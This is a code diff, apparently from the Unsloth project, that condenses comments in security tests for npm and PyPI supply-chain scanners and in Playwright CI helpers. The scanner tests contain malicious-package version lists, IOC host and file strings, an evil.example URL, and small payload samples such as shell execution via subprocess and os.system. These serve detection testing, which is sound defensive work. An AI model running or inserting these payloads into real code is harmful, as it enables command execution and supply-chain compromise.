         f"got {len(squawk)}: {sorted(squawk)}"
     )
-    # @squawk/mcp must cover the full malicious range 0.9.1 .. 0.9.5
-    # (safedep.io enumeration; we initially had only 0.9.5).
+    # @squawk/mcp must cover the full malicious range 0.9.1..0.9.5 (safedep.io enumeration).
     assert {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"} <= table["@squawk/mcp"]
 
     uipath = [k for k in table if k.startswith("@uipath/")]
@@ -119,7 +104,7 @@ def test_blocked_npm_versions_complete():
         f"expected at least 64 @uipath/* entries (Aikido enumeration), "
         f"got {len(uipath)}: {sorted(uipath)}"
     )
-    # Anchor a known entry: the rpa-tool 0.9.5 version is in the published list.
+    # Anchor a known published entry.
     assert "0.9.5" in table["@uipath/rpa-tool"]
 
     # Aikido (May-12 wave): @mistralai/* npm scope (separate from PyPI mistralai).
@@ -161,8 +146,7 @@ def test_blocked_npm_versions_complete():
     reason = "Fork 1 (BLOCKED_NPM_VERSIONS pre-fetch hook) not merged yet",
 )
 def test_blocked_npm_versions_short_circuits_download():
-    """The pre-fetch hook must flag the malicious tanstack entry as
-    `blocked-known-malicious` (exit 1) without hitting the npm registry."""
+    """Pre-fetch hook flags the malicious tanstack entry (exit 1) without hitting the npm registry."""
     fixture = FIXTURES / "malicious_lockfile.json"
     proc = _run_scanner(fixture, timeout = 10)
     assert proc.returncode == 1
@@ -176,9 +160,7 @@ def test_blocked_npm_versions_short_circuits_download():
 
 
 def _extract_pkg_with_ioc(ioc: str, tmp_path: Path) -> Path:
-    """Build a one-file npm package extract tree embedding `ioc` in
-    `package.json`. Returns the extract root.
-    """
+    """Build a one-file npm package extract tree embedding `ioc` in package.json; return its root."""
     pkg_json = {
         "name": "ioc-fixture",
         "version": "0.0.1",
@@ -194,8 +176,7 @@ def _extract_pkg_with_ioc(ioc: str, tmp_path: Path) -> Path:
 
 
 def test_every_known_ioc_string_caught(tmp_path):
-    """Embed each `KNOWN_IOC_STRINGS` entry in a one-file package tree and
-    confirm `scan_extracted_tree()` surfaces it. Guards against table drift."""
+    """Each KNOWN_IOC_STRINGS entry must be surfaced by scan_extracted_tree(); guards table drift."""
     iocs = snp.KNOWN_IOC_STRINGS
     assert iocs, "KNOWN_IOC_STRINGS unexpectedly empty"
 
@@ -223,8 +204,7 @@ def test_every_known_ioc_string_caught(tmp_path):
 
 
 def test_parse_lockfile_structural_findings():
-    """The structural-only fixture yields 2 structural findings and 0 entries
-    (both bad entries are `continue`d in `parse_lockfile()`)."""
+    """Structural-only fixture yields 2 structural findings and 0 entries."""
     entries, struct = snp.parse_lockfile(FIXTURES / "structural_only_lockfile.json")
     assert entries == []
     patterns = {f.pattern for f in struct}
@@ -233,9 +213,8 @@ def test_parse_lockfile_structural_findings():
 
 
 # ---------------------------------------------------------------------------
-# Code-only scanning (_strip_js_noncode) -- comment FP reduction. The stripper
-# must blank comments WITHOUT touching strings/regex/code, preserve geometry,
-# and fail open on lexer confusion.
+# Code-only scanning (_strip_js_noncode): blank comments WITHOUT touching
+# strings/regex/code, preserve geometry, fail open on lexer confusion.
 # ---------------------------------------------------------------------------
 
 
@@ -256,7 +235,7 @@ def test_strip_blanks_line_and_block_comments():
 def test_strip_keeps_url_in_string_and_template():
     src = 'const a = "http://example.com/x";\nconst b = `http://${h}//y`; go();'
     out = _strip(src)
-    assert out == src  # nothing is a comment; must be byte-identical
+    assert out == src  # nothing is a comment -> byte-identical
     assert "http://example.com/x" in out and "//y" in out
 
 
@@ -278,11 +257,11 @@ def test_strip_preserves_assigned_base64_payload():
 
 def test_strip_fails_open_on_unterminated_block_comment():
     src = "code(); /* never closed"
-    assert snp._strip_js_noncode(src) == src  # unchanged -> still fully scanned
+    assert snp._strip_js_noncode(src) == src  # fail open: unchanged, still fully scanned
 
 
 def test_strip_only_applies_to_js_family():
-    # A `//`-containing JSON/YAML string must be left intact (wrong lexer).
+    # A `//`-containing JSON/YAML string must be left intact (JS lexer must not apply).
     PKG = snp.PackageEntry(
         name = "x",
         version = "1.0.0",
@@ -292,8 +271,7 @@ def test_strip_only_applies_to_js_family():
     )
     # scan_text_blob strips for .js but not for .json.
     yaml_like = 'url: "http://h"  # a yaml comment, not JS\n'
-    # No assertion on findings here -- just that the JS lexer is not applied to
-    # non-JS suffixes (covered indirectly: stripper is gated on suffix).
+    # Verify the stripper is gated on suffix (JS lexer not applied to non-JS suffixes).
     assert "".endswith(snp._JS_FAMILY_SUFFIXES) is False
     assert ".js" in snp._JS_FAMILY_SUFFIXES and ".json" not in snp._JS_FAMILY_SUFFIXES
 
@@ -328,7 +306,7 @@ def test_payload_entirely_in_comment_is_suppressed():
     src = f'/* var f = new Function("{_BLOB}"); */ var ok = 1;'
     js = snp.scan_text_blob(_PKG, "m.js", src)
     assert js == []  # blanked -> clean
-    # Control: same bytes scanned as non-JS (unstripped) WOULD flag.
+    # Control: same bytes as non-JS (unstripped) WOULD flag.
     txt = snp.scan_text_blob(_PKG, "m.txt", src)
     assert any(f.pattern == "obfuscated-blob" for f in txt)
 
@@ -389,7 +367,7 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
     baseline = snp._load_baseline(str(bl))
 
     listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)")
-    # A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
+    # A new pattern in the same file must NOT be suppressed.
     new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob")
     active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
     assert listed in suppressed
@@ -407,13 +385,12 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
     assert n == 1  # dedup + MEDIUM excluded
     keys = snp._load_baseline(str(bl))
     assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
-    # MEDIUM was below the HIGH threshold -> not written.
+    # MEDIUM below HIGH threshold -> not written.
     assert all(k[2] != "js-env-token" for k in keys)
 
 
 def test_committed_baseline_is_empty_and_valid():
-    # The shipped baseline must parse and (by design) suppress nothing: the
-    # live corpus is clean, so the gate can run enforcing with an empty list.
+    # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
     path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
     assert path.is_file()
     doc = json.loads(path.read_text(encoding = "utf-8"))
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 33f3fda488..c9b64a9da4 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -1,9 +1,5 @@
-"""Regression tests for `scripts/scan_packages.py`.
-
-`download_packages` reaches PyPI; to stay offline we drive the in-process
-`scan_archive` helper against the wheel/sdist fixtures under
-`tests/security/fixtures/`.
-"""
+"""Regression tests for `scripts/scan_packages.py`, driving the offline
+`scan_archive` helper against fixtures under `tests/security/fixtures/`."""
 
 from __future__ import annotations
 
@@ -23,22 +19,13 @@ sys.path.insert(0, str(REPO_ROOT))
 from scripts import scan_packages as sp  # noqa: E402
 
 
-# ---------------------------------------------------------------------------
-# Fixture sanity.
-# ---------------------------------------------------------------------------
-
-
 def test_fixture_files_exist():
     for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
         assert (FIXTURES / name).is_file(), name
 
 
 def test_fixture_bytes_are_deterministic(tmp_path):
-    """Re-running `_build.py` must produce byte-identical archives.
-
-    The build helper pins each member's mtime/uid/gid/mode and sorts members.
-    Rebuild into a temp dir and compare SHA-256 against the committed bytes.
-    """
+    """Re-running `_build.py` must produce byte-identical archives (deterministic builds)."""
     # Snapshot committed hashes.
     expected: dict[str, str] = {}
     for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
@@ -47,11 +34,11 @@ def test_fixture_bytes_are_deterministic(tmp_path):
     # Rebuild into a sibling dir to avoid clobbering the committed files.
     rebuild_dir = tmp_path / "rebuild"
     rebuild_dir.mkdir()
-    # The build helper writes to its own directory; copy + patch HERE.
+    # The build helper writes to its own dir; copy + patch HERE.
     builder_src = (FIXTURES / "_build.py").read_text()
     rebuilt_helper = rebuild_dir / "_build.py"
     rebuilt_helper.write_text(builder_src)
-    # Run with SOURCE_DATE_EPOCH=0 and HERE override via a tiny shim.
+    # Run with SOURCE_DATE_EPOCH=0 and HERE override via a shim.
     shim = rebuild_dir / "run.py"
     shim.write_text(
         "import sys, pathlib\n"
@@ -80,11 +67,6 @@ def test_fixture_bytes_are_deterministic(tmp_path):
         )
 
 
-# ---------------------------------------------------------------------------
-# scan_archive() against the fixture wheel + sdist.
-# ---------------------------------------------------------------------------
-
-
 def _critical_or_high(findings) -> list:
     return [f for f in findings if f.severity in (sp.CRITICAL, sp.HIGH)]
 
@@ -97,7 +79,6 @@ def test_malicious_wheel_triggers_critical():
     assert findings, "no findings on malicious wheel; scanner regression"
     blockers = _critical_or_high(findings)
     assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
-    # At least one finding must reference setup.py.
     assert any("setup.py" in f.filename for f in blockers)
 
 
@@ -119,11 +100,7 @@ def test_clean_wheel_no_findings():
     assert findings == [], f"unexpected findings on clean wheel: {[str(f) for f in findings]}"
 
 
-# ---------------------------------------------------------------------------
 # Fork 1 constants -- gated on availability.
-# ---------------------------------------------------------------------------
-
-
 _BLOCKED_AVAILABLE = hasattr(sp, "BLOCKED_PYPI_VERSIONS")
 _MAY12_AVAILABLE = hasattr(sp, "RE_MAY12_IOC")
 
@@ -157,7 +134,7 @@ def test_re_may12_ioc_catches_each_literal():
     pattern: re.Pattern = sp.RE_MAY12_IOC
     for lit in expected_literals:
         assert pattern.search(lit), f"RE_MAY12_IOC missed literal {lit!r}"
-    # Clean control: a plain string with none of the literals must not match.
+    # Clean control: a string with none of the literals must not match.
     assert not pattern.search("import numpy as np")
 
 
@@ -166,16 +143,13 @@ def test_re_may12_ioc_catches_each_literal():
     reason = "Fork 1 (RE_MAY12_IOC integration) not merged yet",
 )
 def test_may12_ioc_caught_by_scan_archive():
-    """Once RE_MAY12_IOC is wired into check_py_file, the malicious wheel's
-    setup.py must produce a finding referencing the May-12 IOC string.
-    """
+    """Wired into check_py_file, the malicious wheel's setup.py must flag the May-12 IOC string."""
     findings = sp.scan_archive(
         str(FIXTURES / "malicious_wheel.whl"),
         "malicious_fixture",
     )
-    # IOC literals built at runtime so CodeQL's url-substring-sanitization
-    # rule doesn't false-positive on the `in` operand (it's evidence, not a
-    # URL), and so reformatting can't detach an inline lgtm comment.
+    # IOC literals built at runtime so CodeQL's url-substring-sanitization rule
+    # doesn't false-positive on the `in` operand (it's evidence, not a URL).
     _ioc_host = "git-tanstack." + "com"
     _ioc_drop = "transformers." + "pyz"
     hit = any(
@@ -190,18 +164,13 @@ def test_may12_ioc_caught_by_scan_archive():
     )
 
 
-# ---------------------------------------------------------------------------
 # Silent-failure-class hardening (Fork C).
-# ---------------------------------------------------------------------------
 
 
 def test_scan_packages_pip_download_failure_propagates(tmp_path):
-    """A pip download failure must NOT be swallowed into `0 findings, exit 0`.
+    """A pip download failure must exit 2 (SCAN INCOMPLETE), not `0 findings, exit 0`.
 
-    Feeds an unresolvable spec to the scanner subprocess; it must exit 2
-    (scan incomplete) with a SCAN INCOMPLETE banner on stderr. The spec name
-    is long/random so it can't resolve on any index, even offline.
-    """
+    Feeds an unresolvable spec; the name is long/random so it can't resolve on any index."""
     script = REPO_ROOT / "scripts" / "scan_packages.py"
     assert script.is_file(), script
     unresolvable = "pkg-that-does-not-exist-0123456789-fork-c-silentfail==0.0.0"
@@ -222,9 +191,7 @@ def test_scan_packages_pip_download_failure_propagates(tmp_path):
 
 
 def test_archive_corruption_produces_critical_finding(tmp_path):
-    """SF1: a corrupted wheel was silently skipped by `except: continue` in
-    iter_archive_files; it must now yield a CRITICAL `archive_corrupted`.
-    """
+    """SF1: a corrupted wheel (once silently skipped) must yield a CRITICAL `archive_corrupted`."""
     bad = tmp_path / "broken-0.0.1-py3-none-any.whl"
     bad.write_bytes(b"X")  # 1-byte "wheel" -- not a valid zip container
     findings = sp.scan_archive(str(bad), "broken_fixture")
@@ -235,7 +202,7 @@ def test_archive_corruption_produces_critical_finding(tmp_path):
     )
     assert all(f.severity == sp.CRITICAL for f in corrupted)
 
-    # Same check for a corrupted tarball.
+    # Same for a corrupted tarball.
     bad_tar = tmp_path / "broken-0.0.1.tar.gz"
     bad_tar.write_bytes(b"not-a-real-gzip-stream")
     findings_tar = sp.scan_archive(str(bad_tar), "broken_fixture")
@@ -246,9 +213,7 @@ def test_archive_corruption_produces_critical_finding(tmp_path):
     )
 
 
-# ---------------------------------------------------------------------------
 # False-positive hardening: code-only scanning via _strip_noncode.
-# ---------------------------------------------------------------------------
 
 
 def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():
@@ -262,10 +227,9 @@ def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():
     out = sp._strip_noncode(src)
     # Line geometry is byte-stable so evidence L<n> stays correct.
     assert len(out.splitlines()) == len(src.splitlines())
-    # The dangerous-looking tokens lived only in docstrings/comments -> gone.
+    # Tokens lived only in docstrings/comments -> gone.
     for needle in ("subprocess", "os.system", "eval(", "exec(", "reverse shell"):
         assert needle not in out, needle
-    # Real code survives.
     assert "x = 1" in out
     assert "return x" in out
 
@@ -288,7 +252,7 @@ def test_strip_noncode_falls_back_on_syntax_error():
 
 
 def test_check_py_file_ignores_docstring_only_iocs():
-    # A file whose ONLY dangerous patterns live in a docstring must be clean.
+    # A file whose only dangerous patterns live in a docstring must be clean.
     benign = (
         '"""Usage:\n'
         ">>> import subprocess, urllib.request\n"
@@ -299,7 +263,7 @@ def test_check_py_file_ignores_docstring_only_iocs():
     )
     findings = sp.check_py_file(benign, "pkg/_doc.py", "pkg")
     assert findings == [], f"docstring IOCs should not flag: {[str(f) for f in findings]}"
-    # But the same payload as real code still flags.
+    # The same payload as real code still flags.
     real = (
         "import subprocess, urllib.request\n"
         "subprocess.Popen(['sh','-c','id'])\n"
@@ -310,15 +274,14 @@ def test_check_py_file_ignores_docstring_only_iocs():
 
 
 def test_extract_evidence_multiline_reports_line():
-    # A DOTALL pattern that only matches across lines must still yield evidence
-    # (not an empty string) so a baseline entry is reviewable.
+    # A cross-line DOTALL match must still yield evidence so the baseline entry is reviewable.
     content = "a = 1\ntime.sleep(\n    600\n)\n"
     ev = sp._extract_evidence(content, sp.RE_ANTI_ANALYSIS)
     assert ev and ev.startswith("L"), ev
 
 
 def test_anti_analysis_no_longer_flags_cross_platform_code():
-    # Pure cross-platform code (the old platform.system FP) must be clean.
+    # Pure cross-platform code (the old platform.system false positive) must be clean.
     crossplat = (
         "import platform, subprocess\n"
         "if platform.system() == 'Windows':\n"
@@ -332,11 +295,9 @@ def test_anti_analysis_no_longer_flags_cross_platform_code():
 
 
 def test_proc_self_status_read_flags_anti_analysis():
-    # Reading /proc/self/status (to scrape TracerPid) alongside a subprocess
-    # call is the classic anti-debug combination. The old `\b/proc/self/status\b`
-    # was a dead pattern (\b adjacent to "/" is unsatisfiable); the lookbehind
-    # fix makes it fire. No TracerPid/ptrace token here so only the /proc path
-    # can supply the anti-analysis signal.
+    # Reading /proc/self/status + a subprocess call is the classic anti-debug combo.
+    # The old `\b/proc/self/status\b` was unsatisfiable (\b adjacent to "/"); the
+    # lookbehind fix makes it fire. No TracerPid/ptrace token, so only /proc signals it.
     payload = (
         "import subprocess\n"
         "with open('/proc/self/status') as fh:\n"
@@ -350,8 +311,7 @@ def test_proc_self_status_read_flags_anti_analysis():
 
 
 def test_proc_self_status_pattern_is_live():
-    # Direct regex check across the common call forms; the leading \b made all
-    # of these unsatisfiable before the fix.
+    # Common call forms; the leading \b made all of these unsatisfiable before the fix.
     for s in (
         'open("/proc/self/status")',
         "cat /proc/self/status",
@@ -362,11 +322,6 @@ def test_proc_self_status_pattern_is_live():
     assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
 
 
-# ---------------------------------------------------------------------------
-# Baseline allowlist.
-# ---------------------------------------------------------------------------
-
-
 def _mk(sev, pkg, fname, check):
     return sp.Finding(sev, pkg, fname, check, "evidence")
 
@@ -376,7 +331,7 @@ def test_baseline_key_version_stable_but_path_specific():
     b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
     # Same package-relative path across versions -> same key (stable).
     assert sp._finding_key(a) == sp._finding_key(b)
-    # Same basename in a DIFFERENT path -> different key (no over-suppression).
+    # Same basename in a different path -> different key (no over-suppression).
     c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
     assert sp._finding_key(a) != sp._finding_key(c)
 
@@ -385,7 +340,7 @@ def test_fstring_statement_is_not_blanked():
     # A bare f-string evaluates at import, so it must stay scannable.
     src = "f\"{__import__('os').system('id')}\"\n"
     assert "__import__" in sp._strip_noncode(src)
-    # A plain bare docstring IS blanked.
+    # A plain bare docstring is blanked.
     plain = "'a docstring mentioning subprocess.Popen'\n"
     assert "subprocess" not in sp._strip_noncode(plain)
 
@@ -395,7 +350,7 @@ def test_exec_with_payload_hidden_in_docstring_flagged():
     src = '"""' + blob + '"""\nimport os\nexec(__doc__)\n'
     findings = sp.check_py_file(src, "pkg/mod.py", "pkg")
     assert any("hidden in a docstring" in f.check for f in findings)
-    # No exec/eval -> the blanked blob does not produce that finding.
+    # No exec/eval -> the blanked blob produces no such finding.
     src2 = '"""' + blob + '"""\nimport os\n'
     findings2 = sp.check_py_file(src2, "pkg/mod.py", "pkg")
     assert not any("hidden in a docstring" in f.check for f in findings2)
@@ -437,10 +392,8 @@ def test_load_baseline_missing_file_is_empty():
     assert sp._load_baseline("/nonexistent/path/bl.json") == set()
 
 
-# ---------------------------------------------------------------------------
-# sdist fallback: preserve coverage of sdist-only packages without building.
-# All offline -- PyPI JSON / download are mocked.
-# ---------------------------------------------------------------------------
+# sdist fallback: cover sdist-only packages without building. All offline
+# -- PyPI JSON / download are mocked.
 
 
 class _FakeResp:
@@ -517,10 +470,10 @@ def test_requires_dist_skips_extras():
         ],
     )
     specs = sp._requires_dist_names(meta, None)
-    # Version constraints are preserved so a pinned dep is fetched, not latest.
+    # Version constraints preserved so a pinned dep is fetched, not latest.
     assert "numpy>=1.20" in specs
     assert "pyyaml>=5" in specs
-    # The extra-gated dep is skipped entirely (no torch under any form).
+    # The extra-gated dep is skipped entirely.
     assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
 
 
@@ -528,7 +481,7 @@ def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
     meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
     fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
     assert fpath is None and "non-PyPI" in err
-    assert list(tmp_path.iterdir()) == []  # nothing was written
+    assert list(tmp_path.iterdir()) == []  # nothing written
 
 
 def test_download_sdist_direct_no_sdist_published(tmp_path):
@@ -558,8 +511,7 @@ def test_download_sdist_direct_size_cap(tmp_path, monkeypatch):
 
 
 def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
-    # A spec that fails pip but HAS a wheel on PyPI is a genuine error (-> exit 2),
-    # never silently swallowed.
+    # A spec that fails pip but HAS a wheel on PyPI is a genuine error (-> exit 2).
     class _Proc:
         returncode = 1
         stderr = "ResolutionImpossible"
diff --git a/tests/studio/_playwright_robust.py b/tests/studio/_playwright_robust.py
index bc0e3f783b..774665581d 100644
--- a/tests/studio/_playwright_robust.py
+++ b/tests/studio/_playwright_robust.py
@@ -1,17 +1,9 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Shared robustness helpers for the Studio Playwright tests, the single
-point of truth for the CI-runner workarounds (Chromium flags, view-transition
-killer, page recovery, post-action response wait) that both
-`playwright_chat_ui.py` and `playwright_extra_ui.py` need.
-
-Importable directly by the standalone scripts:
-
-    sys.path.insert(0, str(Path(__file__).parent))
-    from _playwright_robust import (...)
-
-Does NOT depend on pytest -- both consumers run as plain Python.
+"""Shared CI-runner workarounds for the Studio Playwright tests (Chromium flags,
+view-transition killer, page recovery, post-action response wait). Imported
+directly by the standalone scripts; does NOT depend on pytest.
 """
 
 from __future__ import annotations
@@ -27,15 +19,12 @@ from pathlib import Path
 from typing import Any, Callable
 
 # Chromium launch args.
-#
-# The throttling flags stop Chromium deprioritising CPU/timers when it thinks
-# the headless window is backgrounded (run 25586583024 stalled gemma-3-270m
-# inference and the React render queue mid-test). TranslateUI strips a popup
-# that intercepts pointer events; ipc-flooding-protection off lets rapid clicks
-# through during the slider sweep.
-#
-# `--single-process` is darwin-only: the documented free-runner fix for the
-# pipeTransport.js JSON-RPC crash; on Win/Linux it destabilises the renderer.
+# Throttling flags stop Chromium deprioritising CPU/timers when it thinks the
+# headless window is backgrounded (run 25586583024 stalled inference + render).
+# TranslateUI strips a pointer-intercepting popup; ipc-flooding-protection off
+# lets rapid clicks through during the slider sweep.
+# `--single-process` is darwin-only (fixes the pipeTransport.js JSON-RPC crash);
+# on Win/Linux it destabilises the renderer.
 _BASE_CHROMIUM_ARGS = (
     "--disable-dev-shm-usage",
     "--no-sandbox",
@@ -49,8 +38,8 @@ _BASE_CHROMIUM_ARGS = (
 
 
 def chromium_launch_args(platform: str | None = None) -> list[str]:
-    """Return Chromium launch args for `platform` (defaults to `sys.platform`;
-    pass a string to test the darwin branch on Linux)."""
+    """Chromium launch args for `platform` (defaults to `sys.platform`; pass a
+    string to test the darwin branch on Linux)."""
     p = sys.platform if platform is None else platform
     args = list(_BASE_CHROMIUM_ARGS)
     if p == "darwin":
@@ -58,13 +47,11 @@ def chromium_launch_args(platform: str | None = None) -> list[str]:
     return args
 
 
-# Init scripts injected into every Playwright context.
-#
+# Init script injected into every Playwright context.
 # CSS view-transitions render a full-window pseudo-element that intercepts
-# pointer events for a beat after each theme/route swap, so Playwright reports
-# `<html> intercepts pointer events` on the next click (even with
-# reduced_motion, since Studio calls startViewTransition() directly). Killing
-# the pseudo-elements + shimming startViewTransition synchronously fixes both.
+# pointer events after each theme/route swap, so Playwright reports
+# `<html> intercepts pointer events` on the next click. Killing the
+# pseudo-elements + shimming startViewTransition synchronously fixes both.
 # Idempotent and safe to install on every page.
 _VIEW_TRANSITION_KILLER_JS = """
 (function () {
@@ -107,10 +94,9 @@ def install_view_transition_killer(ctx: Any) -> None:
 
 
 # Server health pre-flight.
-#
-# The bash wait already gates on /api/health, but on the macos-14 free runner
-# /api/health can return 200 while /api/auth still 503s (auth DB mid-migration).
-# A second in-script probe catches that gap before a 60s change-password timeout.
+# On the macos-14 free runner /api/health can return 200 while /api/auth still
+# 503s (auth DB mid-migration); this in-script probe catches that gap before a
+# 60s change-password timeout.
 
 
 def _http_get_status_and_body(url: str, timeout: float) -> tuple[int, dict | None]:
@@ -133,9 +119,8 @@ def wait_for_health(
     timeout: float = 30.0,
     info: Callable[[str], None] | None = None,
 ) -> bool:
-    """Poll {base_url}/api/health until status==200. Returns True on success,
-    False on timeout; never raises. Diagnostic only -- the workflow's own
-    /api/health wait is the authoritative gate."""
+    """Poll {base_url}/api/health until status==200; True on success, False on
+    timeout, never raises. Diagnostic only (the workflow's wait is authoritative)."""
     deadline = time.monotonic() + timeout
     last_status: int | None = None
     last_body: dict | None = None
@@ -145,8 +130,7 @@ def wait_for_health(
             timeout = 3.0,
         )
         last_status, last_body = status, body
-        # `chat_only` and `status` keys both exist; prefer status==healthy
-        # but accept any 200 -- different Studio builds report differently.
+        # Accept any 200 -- different Studio builds report status differently.
         if status == 200:
             if info is not None:
                 info(f"health pre-flight OK: status=200, body keys={list((body or {}).keys())}")
@@ -160,11 +144,8 @@ def wait_for_health(
     return False
 
 
-# Page recovery.
-#
-# Canonical "did the page die mid-test" path used by every retry block. If the
-# page is closed, opens a fresh one in the same context (localStorage auth
-# survives); otherwise leaves it alone. Optionally re-navigates.
+# Page recovery: if the page died mid-test, open a fresh one in the same context
+# (localStorage auth survives); otherwise leave it alone. Optionally re-navigates.
 
 
 def recover_or_replace_page(
@@ -176,9 +157,8 @@ def recover_or_replace_page(
     settle_networkidle: bool = True,
     info: Callable[[str], None] | None = None,
 ) -> Any:
-    """Return a usable page, replacing `page` if it is closed. If `goto_url` is
-    given, navigates there and best-effort waits for networkidle. Recovery
-    errors are logged and swallowed; the caller retries a still-broken page."""
+    """Return a usable page, replacing `page` if closed; optionally navigate to
+    `goto_url`. Recovery errors are logged and swallowed for the caller to retry."""
     try:
         if page.is_closed():
             page = ctx.new_page()
@@ -214,10 +194,9 @@ def click_and_wait_for_response(
     timeout_ms: int = 30_000,
     info: Callable[[str], None] | None = None,
 ) -> tuple[int | None, Exception | None]:
-    """Click + wait for the matching XHR/fetch response. Returns (status, None)
-    on success or (None, exception) on capture failure. Callers check
-    `status >= 400` to surface server rejections immediately. Falls back to a
-    fire-and-forget click on any wait error so the outer retry loop runs."""
+    """Click + wait for the matching XHR/fetch response; (status, None) on success
+    or (None, exception) on capture failure. Falls back to a fire-and-forget click
+    so the outer retry loop runs. Callers check `status >= 400`."""
     try:
         with page.expect_response(
             lambda r: url_substr in r.url and r.request.method == method,
@@ -240,12 +219,10 @@ def click_and_wait_for_response(
 
 
 # Console-error / page-error filtering.
-#
-#   - BENIGN_PAGE_ERROR_PATTERNS: JS errors from slow CI infra (timeouts,
-#     request races) with no user-visible effect; the page-error gate must not
-#     count these.
-#   - BENIGN_CONSOLE_ERROR_PATTERNS: same-cause console.error events, used only
-#     to filter noise from diagnostic dumps (tests don't gate on console.error).
+#   - BENIGN_PAGE_ERROR_PATTERNS: CI-infra JS errors with no user-visible effect;
+#     the page-error gate must not count these.
+#   - BENIGN_CONSOLE_ERROR_PATTERNS: same-cause console.error events, used only to
+#     filter noise from diagnostic dumps (tests don't gate on console.error).
 
 BENIGN_PAGE_ERROR_PATTERNS: tuple[str, ...] = (
     "Request failed (422)",
@@ -291,9 +268,8 @@ def dump_diagnostics(
     info: Callable[[str], None] | None = None,
     extra: dict | None = None,
 ) -> None:
-    """Write a screenshot (`art_dir/{name}.png`) + a JSON sidecar
-    (`art_dir/{name}.json`) with URL/title/body/storage. Diagnostic only, never
-    raises; both are best-effort (screenshot can crowd CI font load on macos-14)."""
+    """Write a screenshot + JSON sidecar (URL/title/body/storage) under art_dir.
+    Diagnostic only, never raises; both best-effort."""
     art = Path(art_dir)
     try:
         art.mkdir(parents = True, exist_ok = True)
@@ -343,12 +319,10 @@ def dump_diagnostics(
 
 
 # Bounded in-page fetch.
-#
-# `page.evaluate(...)` has no `timeout=`, so a fetch that never resolves hangs
-# the whole script until the runner timeout (run 25696797934 / PR #5387 burned
-# 27+ min on one page.evaluate). `evaluate_fetch` wraps the fetch in an
-# AbortController.signal so the JS side always resolves -- with a real response
-# or a synthetic `{status: 0, error: "AbortError..."}` after `timeout_ms`.
+# `page.evaluate(...)` has no `timeout=`, so a stuck fetch hangs the script until
+# the runner timeout (run 25696797934 / PR #5387 burned 27+ min). evaluate_fetch
+# wraps the fetch in an AbortController.signal so the JS side always resolves --
+# real response, or synthetic `{status: 0, error: "AbortError..."}` after timeout_ms.
 def evaluate_fetch(
     page: Any,
     url: str,
@@ -360,11 +334,10 @@ def evaluate_fetch(
     transport_retries: int = 2,
     transport_backoff_ms: int = 250,
 ) -> dict[str, Any]:
-    """Run `fetch(url, opts)` in the page with an AbortSignal deadline. Returns
-    `{"status", "body", "error"}`; on timeout `status==0` with an AbortError
-    string. Treat `status == 0` or a non-None `error` as transport failure, not
-    an HTTP response. `body` may be a str (verbatim) or dict/list (JSON-encoded
-    here); pass headers explicitly for Content-Type / Authorization."""
+    """Run `fetch(url, opts)` in the page with an AbortSignal deadline; returns
+    `{"status", "body", "error"}` (status==0 + AbortError on timeout). Treat
+    status==0 or non-None error as transport failure. `body` may be str (verbatim)
+    or dict/list (JSON-encoded); pass headers explicitly for Content-Type/Auth."""
     body_arg: str | None
     if body is None:
         body_arg = None
@@ -405,11 +378,9 @@ def evaluate_fetch(
         "body": body_arg,
         "timeoutMs": int(timeout_ms),
     }
-    # Bounded retry on transport failures only:
-    #   status != 0 -> real HTTP response (incl. 4xx/5xx); propagate.
-    #   AbortError  -> caller's deadline; propagate.
-    #   else (==0)  -> stale-keepalive / "Failed to fetch" after auth rotation;
-    #                  retry after backoff so the pool evicts the dead socket.
+    # Retry transport failures only: status != 0 (real HTTP) and AbortError
+    # (caller's deadline) propagate; status==0 (stale-keepalive / "Failed to
+    # fetch" after auth rotation) retries after backoff to evict the dead socket.
     last: dict[str, Any] | None = None
     attempts = max(1, int(transport_retries) + 1)
     for attempt in range(attempts):
@@ -440,22 +411,18 @@ def evaluate_fetch(
 
 
 # Wall-clock watchdog.
-#
-# Even with every action/fetch bounded, a strange browser wedge (CPU-pinned JS
-# loop, renderer crash that doesn't propagate, asyncio deadlock) can hang the
-# script. A daemon Timer calls `os._exit(2)` after `deadline_s`, printing the
-# wedge location to stderr; exit code 2 lets the workflow's `set -e` propagate.
-# Pick `deadline_s` above the slowest healthy run (macos-14 cold cache ~7-9 min;
-# 720s leaves headroom without nearing the 30-min runner cap).
+# A browser wedge (CPU-pinned JS, silent renderer crash, asyncio deadlock) can
+# still hang the script. A daemon Timer calls os._exit(2) after deadline_s; exit
+# code 2 lets the workflow's `set -e` propagate. Pick deadline_s above the
+# slowest healthy run (macos-14 cold cache ~7-9 min) but under the 30-min cap.
 def install_wall_clock_watchdog(
     deadline_s: float,
     *,
     label: str = "playwright",
     info: Callable[[str], None] | None = None,
 ) -> threading.Timer:
